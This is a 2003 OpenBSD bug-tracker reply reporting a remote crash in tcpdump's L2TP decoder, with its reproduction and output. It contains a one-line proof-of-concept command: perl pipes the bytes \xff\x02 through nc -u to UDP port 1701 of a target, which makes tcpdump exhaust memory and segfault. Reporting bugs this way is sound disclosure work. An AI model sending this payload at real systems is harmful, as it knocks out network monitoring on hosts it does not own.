Re: user/3610: repetable tcpdump remote crash

[Przemyslaw Frasunek <venglin_(_at_)_freebsd_(_dot_)_lublin_(_dot_)_pl>]

The following reply was made to PR user/3610; it has been noted by GNATS.

From: Przemyslaw Frasunek <venglin_(_at_)_freebsd_(_dot_)_lublin_(_dot_)_pl>
To: Otto Moerbeek <otto_(_at_)_drijf_(_dot_)_net>
Cc: gnats_(_at_)_openbsd_(_dot_)_org
Subject: Re: user/3610: repetable tcpdump remote crash
Date: Sat, 20 Dec 2003 21:11:00 +0100

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 Otto Moerbeek wrote:
 >>	tcpdump -i lo0 -n udp and dst port 1701 &
 >>	perl -e 'print "\xff\x02"' | nc -u localhost 1701
 > I am not able to reproduce this on 3.3-stable and on 3.4-current. My
 > tcpdump sessions prints:
 > 20:41:16.157485 127.0.0.1.16993 > 127.0.0.1.1701:
 l2tp:[TLSOP](0/0)Ns=0,Nr=0 |...
 
 Ok, sorry for the misinformation, it will not work on a loopback interface,
 but it's perfectly repetable when receiving/routing such datagram on
 ethernet interfaces:
 
 <root_(_at_)_ext-fw:/var/log:273># uname -smr ; tcpdump -V 2>&1 | head -n 2
 OpenBSD 3.3 i386
 tcpdump version 3.4.0
 libpcap version 0.5
 <root_(_at_)_ext-fw:/var/log:274># tcpdump -i xl1
 tcpdump: listening on xl1
 
 On the another box:
 
 riget:root:~# perl -e 'print "\xff\x02"' | nc -u x.x.x.x 1701
 
 and tcpdump goes mad:
 
 [...]
 invalid AVP 256  invalid AVP 256  invalid AVP 256  invalid AVP 256  invalid
 AVP 256  invalid AVP 256  invalid AVP 256  invalid AVP 256  invalid AVP 256
  invalid
 AVP 256  invalid AVP 256  invalid AVP 256  invalid AVP 256
 [...]
 
 consuming all memory. When ulimits are reached, it segfaults.
 
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